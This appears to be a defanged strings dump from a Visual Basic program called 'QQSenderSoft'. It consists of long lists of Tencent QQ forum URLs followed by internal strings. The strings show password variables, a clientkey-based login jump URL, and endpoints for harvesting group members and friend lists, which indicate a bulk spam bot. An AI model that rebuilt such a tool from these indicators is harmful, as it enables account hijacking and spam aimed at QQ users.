,hXXp://bbs.edu.qq.com/f-1000090387-1.htm,
,hXXp://bbs.edu.qq.com/f-1000090399-1.htm,
,hXXp://bbs.edu.qq.com/f-10
00158380-1.htm,
,hXXp://bbs.edu.qq.com/f-1000158525-1.htm,
,hXXp://bbs.edu.qq.com/f-1000090419-1.htm,
,hXXp://bbs.edu.qq.com/f-1000090376-1.htm,
,hXXp://bbs.edu.qq.com/f-1000087509-1.htm,
,hXXp://bbs.edu.qq.com/f-1000158522-1.htm,
,hXXp://bbs.edu.qq.com/f-1001024140-1.htm,
,hXXp://bbs.edu.qq.com/f-1001024141-1.htm,
,hXXp://bbs.edu.qq.com/f-1001024142-1.htm,
,hXXp://bbs.edu.qq.com/f-1001024143-1.htm,
,hXXp://bbs.edu.qq.com/f-1001024145-1.htm,
,hXXp://bbs.edu.qq.com/f-1001024150-1.htm,
,hXXp://bbs.edu.qq.com/f-1001024154-1.htm,
,hXXp://bbs.edu.qq.com/f-1001024155-1.htm|
,hXXp://bbs.tech.qq.com/f-1000001185-1.htm,
,hXXp://bbs.tech.qq.com/f-1001024018-1.htm,
,hXXp://bbs.tech.qq.com/f-1001024017-1.htm,
,hXXp://bbs.tech.qq.com/f-1001024023-1.htm,
,hXXp://bbs.tech.qq.com/f-1000672148-1.htm,
,hXXp://bbs.tech.qq.com/f-1001024022-1.htm,
,hXXp://bbs.tech.qq.com/f-1001024021
-1.htm,
,hXXp://bbs.tech.qq.com/f-1001026942-1.htm,
,hXXp://bbs.tech.qq.com/f-1001026937-1.htm,
,hXXp://bbs.tech.qq.com/f-1001026941-1.htm,
,hXXp://bbs.tech.qq.com/f-1001026940-1.htm,
,hXXp://bbs.tech.qq.com/f-1001026943-1.htm|
,hXXp://bbs.fashion.qq.com/f-1001023923-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000004347-1.htm,
,hXXp://bbs.fashion.qq.com/f-1001258667-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000088039-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000004349-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000088044-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000088038-1.htm,
,hXXp://bbs.fashion.qq.com/f-1001026944-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000004348-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000088053-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000004361-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000088040-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000088041-1.htm,
,hXXp://bbs.fashion.qq.com/f-1001026945-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000088051-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000088049-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090275-1.htm,
,hXXp://bbs.fashion.qq.com/f-1001024059-1.htm,
,hXXp://bbs.fashion.qq.com/f-1001026957-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000088043-1.htm,
,hXXp://bbs.fashion.qq.com/f-1001026955-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000088045-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000088099-1.htm,
,hXXp://bbs.fashion.qq.com/f-1001026956-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000088096-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000088097-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000088106-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090297-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090285-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090305-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090289-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090290-1.htm,
,hXXp://bbs.fashion.qq.com/f-100
0090301-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090292-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090293-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090294-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090288-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090287-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090286-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090284-1.htm,
,hXXp://bbs.fashion.qq.com/f-1001258636-1.htm,
,hXXp://bbs.fashion.qq.com/f-1001258635-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090296-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090302-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090295-1.htm,
,hXXp://bbs.fashion.qq.com/f-1001026958-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000088052-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090282-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090299-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090298-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090306-1.htm,
,hXXp://bbs.fashion.qq.com/f
-1000090283-1.htm,
,hXXp://bbs.fashion.qq.com/f-1001258637-1.htm,
,hXXp://bbs.fashion.qq.com/f-1001024131-1.htm,
,hXXp://bbs.fashion.qq.com/f-1001024061-1.htm,
,hXXp://bbs.fashion.qq.com/f-1001024062-1.htm,
,hXXp://bbs.fashion.qq.com/f-1001258668-1.htm|
,hXXp://bbs.baby.qq.com/f-1001366381-1.htm,
,hXXp://bbs.baby.qq.com/f-1001025811-1.htm,
,hXXp://bbs.baby.qq.com/f-1001025820-1.htm,
,hXXp://bbs.baby.qq.com/f-1001025804-1.htm,
,hXXp://bbs.baby.qq.com/f-1001025815-1.htm,
,hXXp://bbs.baby.qq.com/f-1001366378-1.htm,
,hXXp://bbs.baby.qq.com/f-1001027019-1.htm,
,hXXp://bbs.baby.qq.com/f-1001025817-1.htm|
,hXXp://bbs.blog.qq.com/f-1001026845-1.htm,
,hXXp://bbs.blog.qq.com/f-1001026846-1.htm,
,hXXp://bbs.blog.qq.com/f-1001026847-1.htm,
,hXXp://bbs.blog.qq.com/f-1001027097-1.htm,
,hXXp://bbs.blog.qq.com/f-1001027102-1.htm,
,hXXp://bbs.blog.qq.com/f-100102710
0-1.htm|
,hXXp://bbs.kid.qq.com/f-1001026999-1.htm,
,hXXp://bbs.kid.qq.com/f-1001027096-1.htm,
show,hXXp://bbs.kid.qq.com/f-1001026984-1.htm,
,hXXp://bbs.kid.qq.com/f-1001259025-1.htm,Q
,hXXp://bbs.kid.qq.com/f-1001031921-1.htm,
,hXXp://bbs.kid.qq.com/f-1001026987-1.htm,
,hXXp://bbs.kid.qq.com/f-1001026997-1.htm,
,hXXp://bbs.kid.qq.com/f-1001259024-1.htm,
,hXXp://bbs.kid.qq.com/f-1001026986-1.htm,
,hXXp://bbs.kid.qq.com/f-1001026991-1.htm,
,hXXp://bbs.kid.qq.com/f-1001026982-1.htm,
,hXXp://bbs.kid.qq.com/f-1001026994-1.htm,
,hXXp://bbs.kid.qq.com/f-1001026985-1.htm,
,hXXp://bbs.kid.qq.com/f-1001026988-1.htm,
,hXXp://bbs.kid.qq.com/f-1001026995-1.htm,
,hXXp://bbs.kid.qq.com/f-1001027126-1.htm,
,hXXp://bbs.kid.qq.com/f-1001026993-1.htm,
,hXXp://bbs.kid.qq.com/f-1001026992-1.htm,
,hXXp://bbs.kid.qq.com/f-1001030961-1.htm,
,hXXp://bbs.kid.qq.com/f-1001252280-
1.htm,
,hXXp://bbs.kid.qq.com/f-1001259019-1.htm,
,hXXp://bbs.kid.qq.com/f-1001252281-1.htm,
,hXXp://bbs.kid.qq.com/f-1001259022-1.htm,
,hXXp://bbs.kid.qq.com/f-1001259023-1.htm,
,hXXp://bbs.kid.qq.com/f-1001259026-1.htm,
,hXXp://bbs.kid.qq.com/f-1001259038-1.htm,
,hXXp://bbs.kid.qq.com/f-1001259039-1.htm,
,hXXp://bbs.kid.qq.com/f-1001259045-1.htm,
,hXXp://bbs.kid.qq.com/f-1001027100-1.htm,
,hXXp://bbs.kid.qq.com/f-1001027102-1.htm
,hXXp://bbs.news.qq.com/f-1001024024-1.htm,
,hXXp://bbs.news.qq.com/f-1001024026-1.htm,
,hXXp://bbs.news.qq.com/f-1001027149-1.htm,
,hXXp://bbs.news.qq.com/f-1001025770-1.htm,
,hXXp://bbs.news.qq.com/f-1001350760-1.htm,
,hXXp://bbs.news.qq.com/f-1000087807-1.htm,
,hXXp://bbs.news.qq.com/f-1000090417-1.htm,
,hXXp://bbs.news.qq.com/f-1001252052-1.htm,
,hXXp://bbs.news.qq.com/f-1001057838-1.htm,
,hXXp://bbs.news.qq.com/f-1001300083-1.htm,
,hXXp://bbs.news.qq.com/f-1001338980-1.htm,
,hXXp://bbs.news.qq.com/f-1001057858-1.htm,
,hXXp://bbs.news.qq.com/f-1001024027-1.htm,
,hXXp://bbs.news.qq.com/f-1001227371-1.htm,
,hXXp://bbs.news.qq.com/f-1001227372-1.htm,
,hXXp://bbs.news.qq.com/f-1001346081-1.htm,
,hXXp://bbs.news.qq.com/f-1001346080-1.htm,
,hXXp://bbs.news.qq.com/f-1001346079-1.htm,
,hXXp://bbs.news.qq.com/f-1001346077-1.htm,
,hXXp://bbs.news.qq.com/f-1001350762
,hXXp://bbs.news.qq.com/f-1001338986-1.htm|
,hXXp://bbs.ent.qq.com/f-1000204465-1.htm,
,hXXp://bbs.ent.qq.com/f-1001177737-1.htm,
,hXXp://bbs.ent.qq.com/f-1001338600-1.htm,
,hXXp://bbs.ent.qq.com/f-1001338601-1.htm,
,hXXp://bbs.ent.qq.com/f-1001268378-1.htm,
,hXXp://bbs.ent.qq.com/f-1001268376-1.htm,
,hXXp://bbs.ent.qq.com/f-1001338679-1.htm,
,hXXp://bbs.ent.qq.com/f-1000004129-1.htm,TVB
,hXXp://bbs.ent.qq.com/f-1001261496-1.htm,
,hXXp://bbs.ent.qq.com/f-1000004128-1.htm,Q
,hXXp://bbs.ent.qq.com/f-1001422545-1.htm,
,hXXp://bbs.ent.qq.com/f-1000005473-1.htm,
,hXXp://bbs.ent.qq.com/f-1000004130-1.htm,
,hXXp://bbs.ent.qq.com/f-1000001957-1.htm,
,hXXp://bbs.ent.qq.com/f-1001422540-1.htm,
,hXXp://bbs.ent.qq.com/f-1001338615-1.htm,
,hXXp://bbs.ent.qq.com/f-1000004146-1.htm,
,hXXp://bbs.ent.qq.com/f-1001024158-1.htm,
,hXXp://bbs.ent.qq.com/f-1001027082-1.htm,
,hXXp://bbs.ent.qq.com/f-1001422552-1.htm,
,hXXp://bbs.ent.qq.com/f-1001422543-1.htm|
,hXXp://club.auto.qq.com/f-16-1.htm,
,hXXp://club.auto.qq.com/f-5-1.htm,
,hXXp://club.auto.qq.com/f-10-1.htm,
,hXXp://club.auto.qq.com/f-11-1.htm,
,hXXp://club.auto.qq.com/f-9-1.htm,
,hXXp://club.auto.qq.com/f-7-1.htm,
,hXXp://club.auto.qq.com/f-13-1.htm,
,hXXp://club.auto.qq.com/f-237-1.htm,
,hXXp://club.auto.qq.com/f-14-1.htm,
,hXXp://club.auto.qq.com/f-245-1.htm,
,hXXp://club.auto.qq.com/f-253-1.htm,
,hXXp://club.auto.qq.com/f-17-1.htm,
,hXXp://club.auto.qq.com/f-45-1.htm,
,hXXp://club.auto.qq.com/f-47-1.htm,
,hXXp://club.auto.qq.com/f-48-1.htm,
,hXXp://club.auto.qq.com/f-52-1.htm,
,hXXp://club.auto.qq.com/f-53-1.htm,
,hXXp://club.auto.qq.com/f-259-1.htm,
,hXXp://club.auto.qq.com/f-19-1.htm,
,hXXp://club.auto.qq.com/f-33-1.htm,
,hXXp://club.auto.qq.com/f-41-1.htm,
,hXXp://club.aut
o.qq.com/f-43-1.htm,
,hXXp://club.auto.qq.com/f-21-1.htm,
,hXXp://club.auto.qq.com/f-59-1.htm,
,hXXp://club.auto.qq.com/f-60-1.htm,
,hXXp://club.auto.qq.com/f-61-1.htm,
,hXXp://club.auto.qq.com/f-62-1.htm,
,hXXp://club.auto.qq.com/f-23-1.htm,
,hXXp://club.auto.qq.com/f-64-1.htm,
,hXXp://club.auto.qq.com/f-65-1.htm,
,hXXp://club.auto.qq.com/f-66-1.htm,
,hXXp://club.auto.qq.com/f-257-1.htm,
,hXXp://club.auto.qq.com/f-25-1.htm,
,hXXp://club.auto.qq.com/f-69-1.htm,
,hXXp://club.auto.qq.com/f-70-1.htm,
,hXXp://club.auto.qq.com/f-255-1.htm,
,hXXp://club.auto.qq.com/f-27-1.htm,
,hXXp://club.auto.qq.com/f-71-1.htm,
,hXXp://club.auto.qq.com/f-260-1.htm,
,hXXp://club.auto.qq.com/f-28-1.htm,
,hXXp://club.auto.qq.com/f-73-1.htm,
,hXXp://club.auto.qq.com/f-74-1.htm,
,hXXp://club.auto.qq.com/f-258-1.htm,
,hXXp://club.auto.qq.com/f-6-1.htm,
,hXXp://club.auto.qq.com/f-8-1.htm,
,hXXp://club.auto.qq.com/f-12-1.htm,MINI
,hXXp://club.auto.qq.com/f-15-1.htm,
,hXXp://club.auto.qq.com/f-18-1.htm,F3,hXXp://club.auto.qq.com/f-20-1.htm,F0,hXXp://club.auto.qq.com/f-22-1.htm,
,hXXp://club.auto.qq.com/f-24-1.htm,
,hXXp://club.auto.qq.com/f-26-1.htm,
,hXXp://club.auto.qq.com/f-29-1.htm,
,hXXp://club.auto.qq.com/f-31-1.htm,
300C,hXXp://club.auto.qq.com/f-32-1.htm,
,hXXp://club.auto.qq.com/f-34-1.htm,
,hXXp://club.auto.qq.com/f-35-1.htm,
,hXXp://club.auto.qq.com/f-36-1.htm,ix35,hXXp://club.auto.qq.com/f-37-1.htm,
,hXXp://club.auto.qq.com/f-38-1.htm,
,hXXp://club.auto.qq.com/f-39-1.htm,
,hXXp://club.auto.qq.com/f-40-1.htm,i30,hXXp://club.auto.qq.com/f-42-1.htm,
,hXXp://club.auto.qq.com/f-44-1.htm,
,hXXp://club.auto.qq.com/f-46-1.htm,
,hXXp://club.auto.qq.com/f-49-1.htm,
,hXXp://club.auto.qq.com/f-50-1.htm,
,hXXp://club.auto.qq.com/f-51-1.htm,
,hXXp://club.auto.qq.com/f-54-1.htm,
,hXXp://club.auto.qq.com/f-55-1.htm,
,hXXp://club.auto.qq.com/f-56-1.
M2,hXXp://club.auto.qq.com/f-57-1.htm,
,hXXp://club.auto.qq.com/f-58-1.htm,
,hXXp://club.auto.qq.com/f-63-1.htm,
,hXXp://club.auto.qq.com/f-67-1.htm,
,hXXp://club.auto.qq.com/f-68-1.htm,
SX4,hXXp://club.auto.qq.com/f-75-1.htm,
,hXXp://club.auto.qq.com/f-76-1.htm,
,hXXp://club.auto.qq.com/f-77-1.htm,
,hXXp://club.auto.qq.com/f-78-1.htm,
,hXXp://club.auto.qq.com/f-79-1.htm,
2,hXXp://club.auto.qq.com/f-80-1.htm,
3,hXXp://club.auto.qq.com/f-81-1.htm,
,hXXp://club.auto.qq.com/f-82-1.htm,
,hXXp://club.auto.qq.com/f-93-1.htm,
,hXXp://club.auto.qq.com/f-94-1.htm,
,hXXp://club.auto.qq.com/f-95-1.htm,S-MAX,hXXp://club.auto.qq.com/f-96-1.htm,
,hXXp://club.auto.qq.com/f-83-1.htm,
,hXXp://club.auto.qq.com/f-137-1.htm,
CRV,hXXp://club.auto.qq.com/f-138-1.htm,
,hXXp://club.auto.qq.com/f-264-1.htm,
,hXXp://club.auto.qq.com/f-84-1.htm,
206,hXXp://club.auto.qq.com/f-132-1.htm,
207,hXXp://club.auto.qq.com/f-133-1.htm,
307,hXXp://club.auto.qq.com/f-134-1.htm,
408,hXXp://club.auto.qq.com/f-135-1.htm,
3008,hXXp://club.auto.qq.com/f-136-1.htm,
,hXXp://club.auto.qq.com/f-85-1.htm,
,hXXp://club.auto.qq.com/f-125-1.htm,
,hXXp://club.auto.qq.com/f-126-1.htm,
,hXXp://club.auto.qq.com/f-127-1.htm,
,hXXp://club.auto.qq.com/f-128-1.htm,
,hXXp://club.auto.qq.com/f-129-1.htm,
,hXXp://club.auto.qq.com/f-130-1.htm,
,hXXp://club.auto.qq.com/f-131-1.htm,
,hXXp://club.auto.qq.com/f-86-1.htm,
-soul,hXXp://club.auto.qq.com/f-120-1.htm,
,hXXp://club.auto.qq.com/f-121-1.htm,
,hXXp://club.auto.qq.com/f-122-1.htm,
,hXXp://club.auto.qq.com/f-123-1.htm,
,hXXp://club.auto.qq.com/f-124-1.htm,
,hXXp://club.auto.qq.com/f-87-1.htm,
,hXXp://club.auto.qq.com/f-97-1.htm,V3
,hXXp://club.auto.qq.com/f-98-1.htm,
,hXXp://club.auto.qq.com/f-88-1.htm,
,hXXp://club.auto.qq.com/f-99-1.htm,
,hXXp://club.auto.qq.com/f-100-1.htm,
,hXXp://club.auto.qq.com/f-101-1.htm,C2,h
ttp://club.auto.qq.com/f-102-1.htm,
,hXXp://club.auto.qq.com/f-103-1.htm,
,hXXp://club.auto.qq.com/f-104-1.htm,C5,hXXp://club.auto.qq.com/f-105-1.htm,
,hXXp://club.auto.qq.com/f-89-1.htm,
,hXXp://club.auto.qq.com/f-106-1.htm,
,hXXp://club.auto.qq.com/f-107-1.htm,
,hXXp://club.auto.qq.com/f-108-1.htm,
,hXXp://club.auto.qq.com/f-90-1.htm,
,hXXp://club.auto.qq.com/f-109-1.htm,
,hXXp://club.auto.qq.com/f-110-1.htm,
,hXXp://club.auto.qq.com/f-91-1.htm,
,hXXp://club.auto.qq.com/f-111-1.htm,
,hXXp://club.auto.qq.com/f-112-1.htm,
,hXXp://club.auto.qq.com/f-113-1.htm,
,hXXp://club.auto.qq.com/f-92-1.htm,
,hXXp://club.auto.qq.com/f-114-1.htm,
,hXXp://club.auto.qq.com/f-115-1.htm,
,hXXp://club.auto.qq.com/f-116-1.htm,
,hXXp://club.auto.qq.com/f-117-1.htm,
,hXXp://club.auto.qq.com/f-118-1.htm,
,hXXp://club.auto.qq.com/f-119-1.htm,
,hXXp://club.auto.qq.com/f-139-1.htm,
,hXXp://club.auto.qq.com/f-149-1.htm,
,hXXp://club.a
uto.qq.com/f-140-1.htm,
,hXXp://club.auto.qq.com/f-150-1.htm,
,hXXp://club.auto.qq.com/f-151-1.htm,
,hXXp://club.auto.qq.com/f-153-1.htm,
,hXXp://club.auto.qq.com/f-154-1.htm,
,hXXp://club.auto.qq.com/f-238-1.htm,
,hXXp://club.auto.qq.com/f-263-1.htm,
,hXXp://club.auto.qq.com/f-141-1.htm,
,hXXp://club.auto.qq.com/f-142-1.htm,
,hXXp://club.auto.qq.com/f-143-1.htm,
,hXXp://club.auto.qq.com/f-157-1.htm,
,hXXp://club.auto.qq.com/f-144-1.htm,
,hXXp://club.auto.qq.com/f-158-1.htm,
,hXXp://club.auto.qq.com/f-159-1.htm,
,hXXp://club.auto.qq.com/f-160-1.htm,
QQ,hXXp://club.auto.qq.com/f-161-1.htm,
A5,hXXp://club.auto.qq.com/f-162-1.htm,
A3,hXXp://club.auto.qq.com/f-163-1.htm,
A1,hXXp://club.auto.qq.com/f-164-1.htm,
,hXXp://club.auto.qq.com/f-165-1.htm,
,hXXp://club.auto.qq.com/f-166-1.htm,
,hXXp://club.auto.qq.com/f-145-1.htm,
,hXXp://club.auto.qq.com/f-177-1.htm,
,hXXp://club.auto.qq.com/f-178-1.htm,
uto.qq.com/f-179-1.htm,
,hXXp://club.auto.qq.com/f-146-1.htm,
,hXXp://club.auto.qq.com/f-170-1.htm,
,hXXp://club.auto.qq.com/f-171-1.htm,
(Tiguan),hXXp://club.auto.qq.com/f-172-1.htm,Polo,hXXp://club.auto.qq.com/f-173-1.htm,
,hXXp://club.auto.qq.com/f-174-1.htm,
,hXXp://club.auto.qq.com/f-175-1.htm,
,hXXp://club.auto.qq.com/f-176-1.htm,
,hXXp://club.auto.qq.com/f-147-1.htm,GL8,hXXp://club.auto.qq.com/f-167-1.htm,
,hXXp://club.auto.qq.com/f-168-1.htm,
,hXXp://club.auto.qq.com/f-169-1.htm,
,hXXp://club.auto.qq.com/f-148-1.htm,SPARK
,hXXp://club.auto.qq.com/f-180-1.htm,
,hXXp://club.auto.qq.com/f-181-1.htm,
,hXXp://club.auto.qq.com/f-182-1.htm,
,hXXp://club.auto.qq.com/f-183-1.htm,
,hXXp://club.auto.qq.com/f-184-1.htm,
,hXXp://club.auto.qq.com/f-185-1.htm,
,hXXp://club.auto.qq.com/f-269-1.htm,
,hXXp://club.auto.qq.com/f-186-1.htm,
750,hXXp://club.auto.qq.com/f-207-1.htm,
550,hXXp://club.auto.qq.com/f-208-1.htm,
MG,hXXp://club.auto.qq.com/f-187-1.htm,MG3,hXXp://club.auto.qq.com/f-204-1.htm,MG7,hXXp://club.auto.qq.com/f-205-1.htm, MG5,hXXp://club.auto.qq.com/f-206-1.htm,
,hXXp://club.auto.qq.com/f-188-1.htm,
,hXXp://club.auto.qq.com/f-199-1.htm,
,hXXp://club.auto.qq.com/f-200-1.htm,
,hXXp://club.auto.qq.com/f-201-1.htm,
,hXXp://club.auto.qq.com/f-202-1.htm,
,hXXp://club.auto.qq.com/f-203-1.htm,
,hXXp://club.auto.qq.com/f-189-1.htm,R8,hXXp://club.auto.qq.com/f-192-1.htm,Q7,hXXp://club.auto.qq.com/f-193-1.htm,A6,hXXp://club.auto.qq.com/f-194-1.htm,TT,hXXp://club.auto.qq.com/f-195-1.htm,A4L,hXXp://club.auto.qq.com/f-196-1.htm,A3,hXXp://club.auto.qq.com/f-197-1.htm,Q5,hXXp://club.auto.qq.com/f-198-1.htm,
,hXXp://club.auto.qq.com/f-190-1.htm,
B70,hXXp://club.auto.qq.com/f-214-1.htm,
B50,hXXp://club.auto.qq.com/f-215-1.htm,
,hXXp://club.auto.qq.com/f-267-1.htm,
,hXXp://club.auto.qq.com/f-191-1.htm,
,hXXp://club.auto.qq.com/f-209-1.htm,
3,hXXp://club.auto.qq.com
/f-210-1.htm,
,hXXp://club.auto.qq.com/f-211-1.htm,
,hXXp://club.auto.qq.com/f-212-1.htm,
,hXXp://club.auto.qq.com/f-213-1.htm,
,hXXp://club.auto.qq.com/f-216-1.htm,
5,hXXp://club.auto.qq.com/f-234-1.htm,
6,hXXp://club.auto.qq.com/f-235-1.htm,
,hXXp://club.auto.qq.com/f-236-1.htm,
,hXXp://club.auto.qq.com/f-217-1.htm,
6(GTI),hXXp://club.auto.qq.com/f-228-1.htm,
,hXXp://club.auto.qq.com/f-229-1.htm,
,hXXp://club.auto.qq.com/f-230-1.htm,
,hXXp://club.auto.qq.com/f-231-1.htm,
,hXXp://club.auto.qq.com/f-232-1.htm,
cc,hXXp://club.auto.qq.com/f-233-1.htm,
,hXXp://club.auto.qq.com/f-218-1.htm,RAV4,hXXp://club.auto.qq.com/f-221-1.htm,Venza,hXXp://club.auto.qq.com/f-222-1.htm,
,hXXp://club.auto.qq.com/f-223-1.htm,
,hXXp://club.auto.qq.com/f-224-1.htm,
,hXXp://club.auto.qq.com/f-225-1.htm,
,hXXp://club.auto.qq.com/f-226-1.htm,
,hXXp://club.auto.qq.com/f-227-1.htm,
,hXXp://club.auto.qq.com/f-219-1.htm,
,hXXp://club.auto.qq.
com/f-220-1.htm,
,hXXp://club.auto.qq.com/f-246-1.htm,
,hXXp://club.auto.qq.com/f-247-1.htm,
,hXXp://club.auto.qq.com/f-248-1.htm,
Cross,hXXp://club.auto.qq.com/f-152-1.htm,
,hXXp://club.auto.qq.com/f-155-1.htm,
,hXXp://club.auto.qq.com/f-249-1.htm,TX4,hXXp://club.auto.qq.com/f-250-1.htm,SC7(
),hXXp://club.auto.qq.com/f-251-1.htm,SC5-RV,hXXp://club.auto.qq.com/f-252-1.htm,
,hXXp://club.auto.qq.com/f-262-1.htm,Splash,hXXp://club.auto.qq.com/f-72-1.htm,
,hXXp://club.auto.qq.com/f-265-1.htm,E
,hXXp://club.auto.qq.com/f-266-1.htm|
,hXXp://bbs.lady.qq.com/f-1001023923-1.htm,
,hXXp://bbs.lady.qq.com/f-1000004347-1.htm,
,hXXp://bbs.lady.qq.com/f-1001258667-1.htm,
,hXXp://bbs.lady.qq.com/f-1000088039-1.htm,
,hXXp://bbs.lady.qq.com/f-1000004349-1.htm,
,hXXp://bbs.lady.qq.com/f-1000088044-1.htm,
,hXXp://bbs.lady.qq.com/f-1000088038-1.htm,
,hXXp://bbs.lady.qq.com/f-1001026944-1.htm,
,hXXp://bbs.lady.qq.
com/f-1000004348-1.htm,
,hXXp://bbs.lady.qq.com/f-1000088053-1.htm,
,hXXp://bbs.lady.qq.com/f-1000004361-1.htm,
,hXXp://bbs.lady.qq.com/f-1000088040-1.htm,
,hXXp://bbs.lady.qq.com/f-1000088041-1.htm,
,hXXp://bbs.lady.qq.com/f-1001026945-1.htm,
,hXXp://bbs.lady.qq.com/f-1000088051-1.htm,
,hXXp://bbs.lady.qq.com/f-1000088049-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090275-1.htm,
,hXXp://bbs.lady.qq.com/f-1001024059-1.htm,
,hXXp://bbs.lady.qq.com/f-1001026957-1.htm,
,hXXp://bbs.lady.qq.com/f-1000088043-1.htm,
,hXXp://bbs.lady.qq.com/f-1001026955-1.htm,
,hXXp://bbs.lady.qq.com/f-1000088045-1.htm,
,hXXp://bbs.lady.qq.com/f-1000088099-1.htm,
,hXXp://bbs.lady.qq.com/f-1001026956-1.htm,
,hXXp://bbs.lady.qq.com/f-1000088096-1.htm,
,hXXp://bbs.lady.qq.com/f-1000088097-1.htm,
,hXXp://bbs.lady.qq.com/f-1000088106-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090297-1.htm,
,hXXp://bbs.lady
.qq.com/f-1000090285-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090305-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090289-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090290-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090301-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090292-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090293-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090294-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090288-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090287-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090286-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090284-1.htm,
,hXXp://bbs.lady.qq.com/f-1001258636-1.htm,
,hXXp://bbs.lady.qq.com/f-1001258635-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090296-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090302-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090295-1.htm,
,hXXp://bbs.lady.qq.com/f-1001026958-1.htm,
,hXXp://bbs.lady.qq.com/f-1000088052-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090282-1.htm,
,hXXp://bbs.
lady.qq.com/f-1000090299-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090298-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090306-1.htm,
,hXXp://bbs.lady.qq.com/f-1000090283-1.htm,
,hXXp://bbs.lady.qq.com/f-1001258637-1.htm,
,hXXp://bbs.lady.qq.com/f-1001024131-1.htm,
,hXXp://bbs.lady.qq.com/f-1001024061-1.htm,
,hXXp://bbs.lady.qq.com/f-1001024062-1.htm,
,hXXp://bbs.lady.qq.com/f-1001258668-1.htm
SRQ.Wq\
controlLogin1
(0&&&000&0
(0((((/(0
QQLoginStop
QQLogindex
strURL
RefUrl
MainUrl
isLoginGoing
loginIndex
qqPassword
input_url
Fileurl
\SVN\qqqf\QQSenderSoft.vbp
s9368265E-85FE-11d1-8BE3-0000F8754DA1
9368265E-85FE-11d1-8BE3-0000F8754DA1
t9368265E-85FE-11d1-8BE3-0000F8754DA1
651A8940-87C5-11d1-8BE3-0000F8754DA1
28C4C820-401A-101B-A3C9-08002B2F49FB
78E1BDD1-9941-11cf-9756-00AA00C00908
hXXp://cgi.find.qq.com/qqfind/qun/search_group_rcmd_v6
hXXp://ui.ptlogin2.qq.com/
skey=@
hXXp://qqun.qq.com/cgi-bin/qun_search/search_group?k=
/pic/AddGroup.bmp
/pic/AddGroup1.bmp
hXXp://t.qq.com
\save\validate_group.txt
adodb.stream
MSXML2.XMLHTTP
\file\msg
\file\msg\10000.file
\file\msg\
.file
(*.txt)|*.txt
\pic\tmp.bmp
\pic\GroupNo.bmp
\pic\EnterNo.bmp
\pic\groupFile.bmp
\save\qqsendF.ini
\save\qqsendG.ini
\save\qqsend.ini
vbscript.regExp
/pic/ShouJi.bmp
\pic\ShoujiSB.bmp
\pic\TaolZ.bmp
\pic\TaolZ1.bmp
\pic\TaolZ2.bmp
hXXp://ptlogin2.qq.com/jump?clientuin=
&clientkey=
&keyindex=9&pt_aid=636014201&u1=http://VVV.qq.com/qq2012/loginSuccess.htm&ptopt=1
ptui_qlogin_CB('0',
hXXp://qun.qzone.qq.com/cgi-bin/get_group_member?uin=
\pic\GroupCy0.bmp
\pic\GroupCy1.bmp
\file\Msg
\background\file.txt
*.jpg
*.gif
*.bmp
*.png)|*.jpg;*.gif;*.bmp;*.png
/pic/icon1.bmp
/pic/icon.bmp
/pic/icon4.bmp
/pic/icon3.bmp
\save\DisableList.txt
\save\Greetings.txt
\save\LuanMa.txt
\save\file1.ini
nickname
hXXp://qqgame.gamebbs.qq.com/forum.php?mod=forumdisplay&fid=
hXXp://r.cnc.qzone.qq.com/cgi-bin/tfriend/friend_mngfrd_get.cgi?uin=
hXXp://search.bbs.qq.com/s.php?q=
hXXp://webpresence.qq.com/getonline?Type=1&
nick":"
hXXp://qun.qzone.qq.com/group#!/
explorer.exe
